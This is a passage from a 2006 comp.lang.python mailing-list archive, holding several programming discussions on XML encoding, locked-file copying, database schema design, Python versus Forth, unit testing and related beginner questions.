even know I wanted to ask until
I saw your post.  But, how to
explain the above??

Thanks,
Alan Isaac




From martin at v.loewis.de  Wed Oct  4 18:46:22 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 05 Oct 2006 00:46:22 +0200
Subject: How to ask sax for the file encoding
In-Reply-To: <4524226b$0$4520$e4fe514c@news.xs4all.nl>
References: <dROUg.62$iP5.51@newsfe07.lga>
	<mailman.1265.1159970009.10491.python-list@python.org>
	<WQPUg.8$Cr3.6@newsfe03.lga> <4oi0f3FehgnuU1@uni-berlin.de>
	<k3QUg.11$Cr3.3@newsfe03.lga> <4oi4meFep2seU1@uni-berlin.de>
	<LnRUg.5$5H6.3@newsfe05.lga>
	<4523f44d$0$4528$e4fe514c@news.xs4all.nl>
	<EfUUg.90$iP5.69@newsfe07.lga>
	<4524226b$0$4520$e4fe514c@news.xs4all.nl>
Message-ID: <452439bf$0$29051$9b622d9e@news.freenet.de>

Irmen de Jong schrieb:
> As others have tried to explain, the encoding in the xml header is
> not part of the document data itself, it says something about the data.
> It would be a bad design decision imo to rely on this meta information
> if you really meant that information to be part of the data document.

A common problem is to save the data in the same encoding that they
original had; this is what an editor typically does (you may know
Edward Ream for writing editors). XML parsers are notoriously bad
in supporting editors. There are too many lexical details that may
need to be preserved (such as the order of the attributes, and the
spaces inside the opening tag) to make it impractical to report all
that to the application.

IMO, the only way to edit XML on a level that does preserving
of the tiniest lexical details is to edit it as plain text
(i.e. without using an XML parser).

Regards,
Martin


From ericlake at gmail.com  Thu Oct 19 10:44:32 2006
From: ericlake at gmail.com (elake)
Date: 19 Oct 2006 07:44:32 -0700
Subject: Determining if a file is locked in Windows
In-Reply-To: <ecidnU0VoqfvPKvYnZ2dnUVZ_o-dnZ2d@comcast.com>
References: <1161200350.853327.288150@b28g2000cwb.googlegroups.com>
	<ecidnU0VoqfvPKvYnZ2dnUVZ_o-dnZ2d@comcast.com>
Message-ID: <1161269072.312305.297430@m73g2000cwd.googlegroups.com>

Larry Bates wrote:
> elake wrote:
> > I found this thread about a pst file in Windows being locked and I am
> > having the same issue.
> >

> > http://groups.google.com/group/comp.lang.python/browse_thread/thread/d3dee5550b6d3652/ed00977acf62484f?lnk=gst&q=%27copying+locked+files%27&rnum=1
> >
> > The problem is that I have a script that can find the pst files on
> > every machine in my network and back them up to a server for safe
> > keeping. The problem is that when Outlook is running it locks the file
> > and will not allow me to copy it to the destination. I am using the
> > shutil module for the copy.
> >
> > Is there a way to first determine if the file is locked and then do the
> > copy if it isn't? I thought about looking to see if Outlook.exe is
> > running but the machines are shared and the process could be running
> > but with a different pst file in use.
> >
> > Thanks in advance
> >
> Try the copy and catch the exception instead.
>
> -Larry Bates

Larry thanks for your suggestion. this is what I tried:

#!/usr/bin/env python

import os, shutil

path = 'c:\documents and settings\username\Local Settings\Application
Data\Microsoft\Outlook'

src = 'Outlook.pst'
dst = 'test.pst'

os.chdir(path)

try:
    shutil.copy2(src, dst)
except IOError:
    print 'Must be locked by Outlook'

print 'Finished'

The problem is that even though I catch the IOError it overwrites the
dst file and makes it 0kb. This is going to be for backing these files
up and it wont be good to overwrite the backup with a bad copy.

Is there another way to do this that I am missing. I am still kind of
new to Python. If i could tell that outlook had the file locked before
I tried the copy then I think that it would be prevented.



From lycka at carmen.se  Mon Oct  9 07:45:25 2006
From: lycka at carmen.se (Magnus Lycka)
Date: Mon, 09 Oct 2006 13:45:25 +0200
Subject: Where is Python in the scheme of things?
In-Reply-To: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
Message-ID: <egdcol$4bv$1@wake.carmen.se>

gord wrote:
> As a complete novice in the study of Python, I am asking myself where this 
> language is superior or better suited than others. For example, all I see in 
> the tutorials are lots of examples of list processing, arithmetic 
> calculations - all in a DOS-like environment.

Python runs on almost everything from mobile phones to mainframes,
so it can't really provide one particular GUI or one particular
development environment.

There are a number of free and commercial IDEs and GUI tool kits,
but I don't know if there is anything that gives you such a low
entry threshold for GUI development as VB or Delphi. I never
"painted" GUIs in Python, I coded them in a plain editor, but
you get used to that pretty soon, and you'll feel more in control,
and the more complex your GUIs get, the more you can gain from
having that control. In my experience it's much easier to reuse
GUI code in Python than in VB etc. If you have made a few windows,
and written your code in an intelligent way, making additional and
similar windows can be very quick, and maintaining their uniform
look, feel and behavior can be easier.

Anyway, if GUI development is what you want, you need to look at
a particular GUI toolkit. Depending on what you are after, you
might want to use Dabo, WxPython, PyGame or some other toolkit.
I know, it's much easier to choose if you only have one choice,
but this is the way things work in free software: no one tries to
lock you in, so there is a flora of different tools suited for
different needs. This makes it a bit harder to get started: You
need to take more decisions--but you'll hopefully end up with
something which is a better fit, where you don't need to work
around the limits of the tool, or limit your world view to
idioms supported a one-size-fits-all tool.

> What is particularly disappointing is the absence of a Windows IDE, 
> components and an event driven paradigm. How does Python stand relative to 
> the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these 
> programming packages are quite expensive now while Python is free (at least 
> for the package I am using - ActivePython).

It's more like Java than like any of these three really. It's not
specifically geared towards building GUI apps (like two of the above)
and it

It's a more modern language than the above. It started from scratch
around 1990, as opposed to BASIC, C++ and Pascal. Both C and Pascal
popped up around 1970, and BASIC is older than that. While they have
developed a lot, the modern incarnations still carry a historical
baggage. Python's syntax has been based on research and 20 more years
of experiences in the problems that your other languages are stuck with.

Python's major inspiration was ABC, a programming language developed
as a research project with the aim of being easy and pedagogical to use.

On the other hand it's more like C++ than like Java in the sense that
it supports object-oriented programming, but it doesn't enforce it. C++
and Python (as well as Delphi's Object Pascal I guess) can be described
as multi-paradigm languages.

> Please discuss where Python shines.

Until 1996, it was my firm belief that there were only two kind of
tools in the software development world.
- Some tools (e.g. VB and Access) makes it easy to get started and
   make small thing, but when the systems grow and the requirements
   get tougher, your problems start to grow exponentially. You hit a
   wall it seems. At least it starts to feel like a tough uphill
   battle.
- Other tools are more difficult to learn (e.g. Unix), but once you
   master them, they grow on you, and you feel that you can take on
   harder problems without hitting that wall.

It was a revelation to bump into Python in 1996. Suddenly, there was
something which was easy to get started with, but still just felt
better and better the longer I used it. That's the killer feature
in my mind.



From greenbergj at wit.edu  Thu Oct 19 17:40:14 2006
From: greenbergj at wit.edu (Jordan Greenberg)
Date: Thu, 19 Oct 2006 17:40:14 -0400
Subject: proper format for this database table
In-Reply-To: <qWQZg.119$1n3.3371@news.tufts.edu>
References: <qWQZg.119$1n3.3371@news.tufts.edu>
Message-ID: <4537F0BE.7010408@wit.edu>

John Salerno wrote:
> Hi guys. I was wondering if someone could suggest some possible
> structures for an "Education" table in a database. It will contain at
> minimum university names, years of attendance, and degrees earned. My
> problem is that I don't know quite how to set this up for people who
> have attended multiple universities. I could do:
> 
> university text DEFAULT NULL,
> yearStart integer DEFAULT NULL,
> yearEnd integer DEFAULT NULL,
> degreesEarned text DEFAULT NULL
> 
> But this only allows for one university. (Also not sure if I should
> split up the years like that.) But mainly I'm looking for a way to
> construct this table so it can hold multiple universities, if necessary.
> 
> Thanks.

Use associative tables.
Something like:

Table Students:
	PK id (some unique id, maybe a student id#, or just an auto-inc)
	name, etc...

Table Students2Education:
	studentID (id from Students)
	EducationID (id from Education)

Table Education:
	id (probably just some auto-inc)
	university
	yearStart
	yearEnd
	degreesEarned

This way, if you have some students:

Students:
001 Jordan


and Jordan started university in 2003 @ Wentworth Institute of Technology:

Students2Education:
001 Wentworth_Institute_Of_Technology

Education:
1 Wentworth_Institute_Of_Technology 2003 NULL NULL

And then, in the future, say I go to MIT. By then I'll (hopefully) have
my CS degree...

Students:
001 Jordan

Students2Education:
001 Wentworth_Institute_Of_Technology

Education:
1 Wentworth_Institute_Of_Technology 2003 2007 BCOS
2 Massachusetts_Institute_Of_Technology 2008 NULL NULL

And I could go back to Wentworth and major in Computer Engineering this
time:

Education:
1 Wentworth_Institute_Of_Technology 2003 2007 BCOS
2 Wentworth_Institute_Of_Technology 2007 200

(You should probably use an integer ID for universities, and have a
separate table to link those to names. Something like:

Education:
UniversityID
yearStart
yearEnd
degreeEarned

Universities:
UniversityID
Name
City
Etc,etc)

In general, when you're having trouble representing something in a
database, it helps to break it down and model the smaller relationships
first, and use those as building blocks to model the whole relationship.

HTH.
Jordan Greenberg




-- 
Posted via a free Usenet account from http://www.teranews.com



From jcd at sdf.lonestar.org  Mon Oct 30 12:56:18 2006
From: jcd at sdf.lonestar.org (J. Clifford Dyer)
Date: Mon, 30 Oct 2006 10:56:18 -0700
Subject: create global variables?
References: <mailman.1495.1162227948.11739.python-list@python.org>
Message-ID: <ei5ec2$bp6$1@web.aioe.org>

Alistair King wrote:
> Hi,
> 
> is there a simple way of creating global variables within a function?
> 
> ive tried simply adding the variables in:
> 
> def function(atom, Xaa, Xab):
>     Xaa = onefunction(atom)
>     Xab = anotherfunction(atom)
> 
> if i can give something like:
> 
> function('C')    #where atom = 'C' but not necessarly include Xaa or Xab
> 
> i would like to recieve:
> 
> Caa = a float
> Cab = another float
> 
> ive tried predefining Xaa and Xab before the function but they are
> global values and wont change within my function. Is there a simple way
> round this, even if i call the function with the variables ('C', Caa, Cab)?
> ...............................................................................................................................
> 
> some actual code:
> 
> # sample dictionaries
> DS1v = {'C': 6}
> pt = {'C': 12.0107}
> 
> def monoVarcalc(atom):
>     a = atom + 'aa'
>     Xaa = a.strip('\'')
>     m = atom + 'ma'
>     Xma = m.strip('\'')
>     Xaa = DS1v.get(atom)
>     Xma = pt.get(atom)
>     print Xma
>     print Xaa
> 
> monoVarcalc('C')
> 
> print Caa
> print Cma
> ...............................................................................................................................
> it seems to work but again i can only print the values of Xma and Xaa
> 
> ?
> 
> Alistair
> 

I suspect you are misusing the concept of a function.  In most basic 
cases, and I suspect your case applies just as well as most, a function 
should take arguments and return results, with no other communication 
between the calling code and the function itself.  When you are inside 
your function don't worry about the names of the variables outside.  I'm 
not sure exactly where your floats are coming from, but try something 
like this:

 >>> def monoVarCalc(relevant_data):
...     float1 = relevant_data * 42.0
...     float2 = relevant_data / 23.0
...     return float1, float2

 >>> C = 2001
 >>> Caa, Cab = monoVarCalc(C)
 >>> Caa
84042.0
 >>> Cab
87.0

Notice that you don't need to use the variable C (or much less the 
string "C", inside monoVarCalc at all.  It gets bound to the name 
relevant_data instead.

Also, if you are going to have a lot of these little results lying 
around, (Cab, Cac ... Czy, Czz), you might consider making them a list 
or a dictionary instead.  I won't tell you how to do that, though.  The 
online tutorial has plenty of information on that.

http://docs.python.org/tut/tut.html


Cheers,
Cliff


From sybrenUSE at YOURthirdtower.com.imagination  Tue Oct 24 09:44:27 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Tue, 24 Oct 2006 15:44:27 +0200
Subject: A py2exe like tool for Linux
References: <mailman.1063.1161692827.11739.python-list@python.org>
Message-ID: <slrnejs65r.77n.sybrenUSE@schuimige.stuvel.eu>

Paolo Pantaleo enlightened us with:
> is thre something like py2exe for Linux? I don't need to build a
> standalone executable (most Linuxes have python instaled), but at
> least I need to provide all the needed libraries togheter with my
> source code, so users just need to download one file, and not
> several libraries.

You can use Freeze:
http://lists.fourthought.com/pipermail/4suite/2005-March/007127.html

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From martin at v.loewis.de  Wed Oct 25 17:14:23 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 25 Oct 2006 23:14:23 +0200
Subject: question about True values
In-Reply-To: <1161804934.010376.151330@f16g2000cwb.googlegroups.com>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
Message-ID: <453FD3AF.4040800@v.loewis.de>

John Coleman schrieb:
> Yes - it just seems that there isn't a principled reason for implicitly
> converting 3 to 3.0 in 3.0 == 3 but not implicitly converting "cat" to
> boolean in "cat" == true.

Sure there is: equality should be transitive. So while we have
3 == 3L == 3.0 == 3.0+0j
and can therefore imply that 3 == 3.0+0j, we should not get
5 == True == ["foo"]
and therefore imply that 5 == ["foo"].

The phenomenon really exists only for numeric types (that two
values of different types still represent the same "thing"),
so it's not surprising that this doesn't readily extend to
other types.

In Python, there are only very few similar cases: byte strings
and unicode strings sometimes compare equal (but, since 2.5,
don't compare unequal very often); lists and tuples could be
considered to have equal values, but don't actually do compare
equal.

Regards,
Martin


From steve at holdenweb.com  Tue Oct  3 08:08:12 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 03 Oct 2006 13:08:12 +0100
Subject: Howto pass Array/Hash into Function
In-Reply-To: <1159868807.385239.307390@h48g2000cwc.googlegroups.com>
References: <mailman.1148.1159867444.10491.python-list@python.org>	<1159867755.636060.48790@m7g2000cwm.googlegroups.com>	<mailman.1149.1159868507.10491.python-list@python.org>
	<1159868807.385239.307390@h48g2000cwc.googlegroups.com>
Message-ID: <eftjpo$3qh$1@sea.gmane.org>

MonkeeSage wrote:
> Wildemar Wildenburger wrote:
> 
>>MonkeeSage wrote:
>>
>>>Wijaya Edward wrote:
>>>
>>>>I wonder how can that be done in Python.
>>>
>>>def myfunc(plain_var, hash_ref, arref):
>>>  # Do sth with those variables
>>>  return
>>
>>At the risk of being a jerk (sorry, I'm really just curious):
>>Why isn't that obvious?
>>
>>wildemar (sorry)
> 
> 
> I wondered that too and wasn't even going to answer, but then I thought
> mabye the question was meant to be more general, like "what is the
> syntax for passing objects to functions in python?"
> 
It wouldn't be obvious to someone who learned Perl as their first 
programming language because Perl chose to ignore the otherwise almost 
universal convention that formal parameters determine the arguments that 
a function or procedure can be calles with.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From duncan.booth at invalid.invalid  Wed Oct 11 13:58:23 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 11 Oct 2006 17:58:23 GMT
Subject: hundreds of seconds?
References: <1160577496.366622.310080@i3g2000cwc.googlegroups.com>
	<4p4e8mFgj24eU1@uni-berlin.de>
Message-ID: <Xns9859BFF44C001duncanbooth@127.0.0.1>

"Diez B. Roggisch" <deets at nospam.web.de> wrote:

> However, be aware that your OS may limit the precision here. I'm not
> sure, but I think Windows for example doesn't get faster than 10th or
> 100th of a second.

1/100th of a second.

> 
> For more precise timing, you might need a special library/extension
> that works with the cpu timer register or something like that.

Or in Windows case just call time.clock() instead.


From proteusguy at gmail.com  Sun Oct 15 07:04:32 2006
From: proteusguy at gmail.com (proteusguy at gmail.com)
Date: 15 Oct 2006 04:04:32 -0700
Subject: Standard Forth versus Python: a case study
In-Reply-To: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
Message-ID: <1160910271.991082.66840@k70g2000cwa.googlegroups.com>

John you nailed it. I was a big forth fan in the mid-80s but it was
very clear that you either had to spend a lot of money on proprietary
systems or do it ALL yourself. Not having any money I was pleased to be
able to do it all but today, in the age of instant communication and
collaboration, its not a competitive option in any language. Had forth
kicked off the open source community about a decade earlier than the
UNIX folk (in useful terms) I think we'd be living in a much different
world from a computing perspective. Forth is still cool - but only when
its for something I wanna do all by myself... :)

  -- Ben

John Doty wrote:
> I realized that I have a little job on the table that is a fine test of
> the Python versus Standard Forth code availability and reusability issue.
>
> Note that I have little experience with either Python or Standard Forth
> (but I have much experience with a very nonstandard Forth). I've noodled
> around a bit with both gforth and Python, but I've never done a serious
> application in either. In my heart, I'm more of a Forth fan: Python is a
> bit too much of a black box for my taste. But in the end, I have work to
> get done.
>
> The problem:
>
> I have a bunch of image files in FITS format. For each raster row in
> each file, I need to determine the median pixel value and subtract it
> from all of the pixels in that row, and then write out the results as
> new FITS files.
>
> This is a real problem I need to solve, not a made-up toy problem. I was
> originally thinking of solving it in C (I know where to get the pieces
> in that language), but it seemed like a good test problem for the Python
> versus Forth issue.
>
> I looked to import FITS reading/writing, array manipulation, and median
> determination. From there, the solution should be pretty easy.
>
> So, first look for a median function in Python. A little googling finds:
>
> http://www.astro.cornell.edu/staff/loredo/statpy/
>
> Wow! This is good stuff! An embarrassment of riches here! There are even
> several FITS modules, and I wasn't even looking for those yet. And just
> for further gratification, the page's author is an old student of mine
> (but I'll try not to let this influence my attitude). So, I followed the
> link to:
>
> http://www.nmr.mgh.harvard.edu/Neural_Systems_Group/gary/python.html
>
>  From there, I downloaded stats.py, and the two other modules the page
> says it requires, and installed them in my site-packages directory. Then
> "from stats import median" got me a function to approximately determine
> the median of a list. It just worked. The approximation is good enough
> for my purposes here.
>
> Pyfits required a little more resourcefulness, in part because STSCI's
> ftp server was down yesterday, but I got it installed too. It helps that
> when something is missing, the error message gives you a module name. It
> needs the numarray module, so I got array manipulation as a side effect.
>
> I haven't finished the program, but I've tried out the pieces and all
> looks well here.
>
> OK, now for Forth. Googling for "forth dup swap median" easily found:
>
> http://www.taygeta.com/fsl/library/find.seq
>
> At first blush, this looked really good for Forth. The search zeroed in
> on just what I wanted, no extras. The algorithm is better than the one
> in the Python stats module: it gives exact results, so there's no need
> to check that an approximation is good enough. But then, the
> disappointment came.
>
> What do you do with this file? It documents the words it depends on, but
> not where to get them. I'm looking at a significant effort to assemble
> the pieces here, an effort I didn't suffer through with Python. So, my
> first question was: "Is it worth it?".
>
> The answer came from searching for FITS support in Forth. If it exists
> in public, it must be really well hidden. That's a "show stopper", so
> there was no point in pursuing the Forth approach further.
>
> In the end, it was like comparing a muzzle-loading sharpshooter's rifle
> with a machine gun: Forth got off one really good shot, but Python just
> mowed the problems down.
>
> The advocates of the idea that Standard Forth has been a boon to code
> reusability seem mostly to be people with large private libraries of
> Forth legacy code. No doubt to them it really has been a boon. But I
> think this little experiment shows that for the rest of us, Python has a
> published base of reusable code that puts Forth to shame.
>
> --
> John Doty, Noqsi Aerospace, Ltd.
> --
> Specialization is for robots.



From steve at holdenweb.com  Fri Oct  6 03:41:49 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 06 Oct 2006 08:41:49 +0100
Subject: OT Request
In-Reply-To: <RynVg.5624$Y24.3410@newsread4.news.pas.earthlink.net>
References: <D4F9316ACC9D20489CC81D19B8A87D5B039FE596@UKEX01.Digica.local>	<mailman.1353.1160055554.10491.python-list@python.org>
	<RynVg.5624$Y24.3410@newsread4.news.pas.earthlink.net>
Message-ID: <eg51a8$a87$1@sea.gmane.org>

Dennis Lee Bieber wrote:
> On Thu, 5 Oct 2006 14:40:23 +0100, "Matthew Warren"
> <Matthew.Warren at Digica.com> declaimed the following in comp.lang.python:
> 
> 
>>This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. 
>>
>>You should not copy the email, use it for any purpose or disclose its contents to any other person.
>>Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica.
>>It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email.
>>
> 
> 
> 	Pardon, but is there any possibility you can disable this rather
> long block? I'm presuming you are accessing via the mailing list, but
> that mailing list is gatewayed to a Usenet news group (and unless you've
> managed to embed an X-noarchive header in email, Google Groups is going
> to have the message available in perpetuity). There is no single
> "intended recipient" -- the messages are being sent to anyone in the
> world interested in reading comp.lang.python, so all this overhead is
> meaningless.
> 
> 	Or, at least, somehow fit a Usenet/email conventional signature
> marker "-- " (dash, dash, space, newline) before it... Most decent
> clients are designed not to quote material below such a marker.

Sadly such garbage is usually appended at the insistence of 
pointy-haired corporate typess, many of them lawyers who need to justify 
their existence by helping companies to "avoid liability".

Since these declarations usually don't contain any definition of the 
phrase "intended recipient" we are presumably left to read the monds of 
the originators before deciding whether to notify the sender immediately 
and delete the email from your computer".

For some reason the mail administrators of the same companies often 
appear to believe that Microsoft Exchange defines email standards for 
the Internet, and they don't even know what a signature separator is.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From mike$#at^&nospam!%trauschus  Fri Oct 27 08:17:28 2006
From: mike$#at^&nospam!%trauschus (Michael B. Trausch)
Date: Fri, 27 Oct 2006 08:17:28 -0400
Subject: Tracing the execution of scripts?
In-Reply-To: <mailman.1312.1161916441.11739.python-list@python.org>
References: <mailman.1312.1161916441.11739.python-list@python.org>
Message-ID: <QdudnblqVtRGZdzYnZ2dnUVZ_uudnZ2d@comcast.com>

Jean-Paul Calderone wrote:
> 
> In order of importance:
> 
> 1) Write unit tests for your code.  Keep writing unit tests until you have
> some that _don't pass_.  Then fix your code so that they do.  When you do
> further development, write the tests first, then implement the code that
> makes them pass.
> 

Perhaps I could use some pointers on that.  I have read the bits and
pieces that I have found regarding unit testing in the past, and I have
wrote "unit tests" for things that I have done, but mostly for pieces of
reusable code that interact with other programs.

And I still have to wrap my mind around the idea of test first, develop
later.  It's fully possible that this works for many, but my (admittedly
few) attempts at that methodology have failed me.  I have a problem
writing something without reference to look at while writing it -- so if
I am writing something, say, to test my AnsiTextCtrl, I would need to
look at the AnsiTextCtrl to see what methods and such I should be testing.

That having been said, I don't have the slightest clue how a unit test
would be written for something that is purely user oriented, anyway.  I
was under the impression that unit tests were automated little tests
that required no user intervention to perform, right?

Actually, thinking about the idea of unit tests, I have found a few
resources online that generically talk about unit tests.  Even the books
that I have read on programming talk about unit tests.  However, all the
generic-ness with which the subject is approached makes my head spin.
(It does that a lot when I am trying to learn something new, by the way.)

>
> 2) Don't use threads.  At least have a way to not use threads while you're
> debugging.  Debugging with threads is very difficult. (Actually I'm not
> sure
> if you're using threads.  If you're not, feel free to ignore this point.)
> 

Fortunately, I am not.  At least, I don't think I am, unless wxWidgets
uses them internally or something.  Threading would make my head explode
at this point.  I really am used to just pulling off simple, sysadmin
type things using massive subsets of languages to just "get things done."

>
> 3) Don't poll for network events every 20ms.  If you have a sensible event
> loop you'll find debugging and testing much easier.
> 

I don't know what you mean.  I believe wxWidgets handles the looping.
And, as least, as far as I could tell with the documentation, the wx
networking API is not exposed to Python.  The "event loop" that you are
describing is, I am assuming, the MainLoop which gets started for wx.App
derived objects?

>
> 4) Use an existing library instead of developing a new one.
>

I had looked for one, at least for the AnsiTextCtrl that I was using.  I
never did find anything, so I assumed that it didn't exist.

>
> 5) (Only included so I don't look like a _complete_ jerk.  If you get this
> far and you haven't fixed the problem yet, consider this a booby prize.)
> http://divmod.org/trac/browser/trunk/Epsilon/epsilon/spewer.py
> 

I looked at this, and it made my head spin.  I think it is just a touch
too early for me to be looking at things that I don't quite understand.
 :-)  I will take another look at it when I have been amongst the living
a little bit longer.

Thank you for the pointers here.  At the very least, I have new ideas to
google around with (such as looking into "event loops").

As far as programming goes, I have done minor things with it, and web
applications (in PHP).  I have never done GUI programming, or low-level
network programming, or anything like that before, and I tried doing
this project in C++ at first... and then said it wasn't worth it to me.
 So, I'm not very well versed in many of the concepts -- I am literally
used to just writing tiny things (I can do very simple C programs, and
have been known to use PHP for help automating things) to make my life
easier, so this is the first real project that I have tried to work on.

The goal, of course, is to become a better programmer.  But, I digress. :-)

	Thanks again!
	Mike


From simon at brunningonline.net  Fri Oct  6 05:21:37 2006
From: simon at brunningonline.net (Simon Brunning)
Date: Fri, 6 Oct 2006 10:21:37 +0100
Subject: How do I read Excel file in Python?
In-Reply-To: <1160077793.218033.108840@m73g2000cwd.googlegroups.com>
References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com>
	<1160061718.605057.243590@h48g2000cwc.googlegroups.com>
	<1160067650.709670.71460@e3g2000cwe.googlegroups.com>
	<1160069137.525290.90000@m73g2000cwd.googlegroups.com>
	<8c7f10c60610051203m37c5e1f6l40cb4f52cd2ede29@mail.gmail.com>
	<mailman.1380.1160076037.10491.python-list@python.org>
	<1160077793.218033.108840@m73g2000cwd.googlegroups.com>
Message-ID: <8c7f10c60610060221u518ef795qc29865465afd027@mail.gmail.com>

On 5 Oct 2006 12:49:53 -0700, houdinihound at yahoo.com
<houdinihound at yahoo.com> wrote:
> Actually was about to post same solution and got same results. (BTW
> Simon, the OP date is Aug 9th, 2006).  Scratched head and googled for
> excel date calculations... found this bug where it treats 1900 as leap
> year incorrectly:
> http://www.ozgrid.com/Excel/ExcelDateandTimes.htm

Ah - I was reading the OP's 8/9/2006 in the European way - DD/MM/YYYY.

One might argue over whether DD/MM/YYYY or MM/DD/YYYY are more
rational, but I find it best to avoid *both* those formats, 'cos they
are so easily confused.

-- 
Cheers,
Simon B
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/


From martin at v.loewis.de  Wed Oct  4 17:59:54 2006
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 04 Oct 2006 23:59:54 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <uwVUg.135464$zy5.1833536@twister1.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<tCJUg.134232$zy5.1829450@twister1.libero.it>
	<eg0899$9g5$1@sea.gmane.org> <eg09i9$eod$1@sea.gmane.org>
	<mailman.1263.1159968766.10491.python-list@python.org>
	<7xk63gry9z.fsf@ruckus.brouhaha.com>
	<7-udnWt7IMm9aL7YnZ2dnUVZ_qSdnZ2d@speakeasy.net>
	<uwVUg.135464$zy5.1833536@twister1.libero.it>
Message-ID: <45242EDA.4090306@v.loewis.de>

Giovanni Bajo schrieb:
>> * A data export is available if we decide to switch. [...]
> 
> Out of curiosity, how is this obtained? Is this any plan to take a daily export
> or so?

Exactly so. Atlassian would generate a daily dump, and we would copy it
to a machine on python.org with a cron job.

Regards,
Martin


From sybrenUSE at YOURthirdtower.com.imagination  Tue Oct 10 14:44:30 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Tue, 10 Oct 2006 20:44:30 +0200
Subject: Funky file contents when os.rename or os.remove are interrupted
References: <1160502494.520457.276080@m7g2000cwm.googlegroups.com>
Message-ID: <slrneinqge.aek.sybrenUSE@schuimige.stuvel.eu>

Russell Warren enlightened us with:
> On first pass I would think that both of those calls are single step
> operations (removing/changing an entry in the FAT, or FAT-like
> thing, on the HDD) and wouldn't result in an intermediate,
> null-populated, step, but the evidence seems to indicate I'm
> wrong...

They require multiple blocks to be written to disc, so if you're not
using a journaling filesystem, bad things can happen.

> Any insight from someone with knowledge of the internal operations
> of os.remove and/or os.rename would be greatly appreciated, although
> I expect the crux may be at the os level and not in python.

You're right about that.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From jstroud at mbi.ucla.edu  Mon Oct  9 19:36:32 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Mon, 09 Oct 2006 23:36:32 GMT
Subject: 3D Vector Type Line-Drawing Program
Message-ID: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com>

Hello All,

I'm looking for a program to do line-drawings in 3d, with output to 
postscript or svg or pdf, etc. I would like to describe a scene with 
certain 1-3d elements oriented in 3d space with dashed or colored lines 
and filled or transparent surfaces (or maybe semitransparent).

I would then like to set the camera and have the scene depicted as a 
line drawing (not ray-traced solid body, etc).

Does anyone know of a library to do this?

James


James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From __peter__ at web.de  Sat Oct 14 12:15:39 2006
From: __peter__ at web.de (Peter Otten)
Date: Sat, 14 Oct 2006 18:15:39 +0200
Subject: a odd thing of "from __future__ import ..."
References: <1160834831.366050.277760@i3g2000cwc.googlegroups.com>
Message-ID: <egr2bc$bs9$01$1@news.t-online.com>

mithrond at gmail.com wrote:

> i can't use "from __future__ import ..." statement import two
> statesments in the same time.

> why? python2.5/windows.

This is a bug:

http://groups.google.com/group/comp.lang.python/msg/05fdd5118638f3cd?hl=en&

Peter


From guido.thelen at googlemail.com  Fri Oct 27 11:24:18 2006
From: guido.thelen at googlemail.com (guido.thelen at googlemail.com)
Date: 27 Oct 2006 08:24:18 -0700
Subject: Insert characters into string based on re ?
In-Reply-To: <1161294437.623792.37740@i3g2000cwc.googlegroups.com>
References: <1160692180.139410.302410@f16g2000cwb.googlegroups.com>
	<1161294437.623792.37740@i3g2000cwc.googlegroups.com>
Message-ID: <1161962657.963468.33430@m7g2000cwm.googlegroups.com>


You can test it here: http://www.sqlinform.com



From mxywp at 126.com  Wed Oct 25 03:47:39 2006
From: mxywp at 126.com (mxywp)
Date: Wed, 25 Oct 2006 00:47:39 -0700
Subject: question: script to input data into a webpage and then
	retrievethe result?
References: <002401c6f5a0$2b5aeef0$0302a8c0@MENG>
	<200610220935.36854.email@christoph-haas.de>
Message-ID: <003701c6f809$da810340$0702a8c0@MENG>

Thank you, Christoph! I used twill to get my data. And Titus is really 
helpful in helping me learn how to use it.

Thank Paul, Haiyun and Dennis for your comments! Actually it turned out that 
the authentication code on that web page is kind of a joke. I finally found 
out that you could still submit a successful query and get desired result by 
ignoring the code. In rare cases the code is required. For most of the time 
it's useless. Isn't it funny?

Best,
mxywp
----- Original Message ----- 
From: "Christoph Haas" <email at christoph-haas.de>
To: <python-list at python.org>
Sent: Sunday, October 22, 2006 12:35 AM
Subject: Re: question: script to input data into a webpage and then 
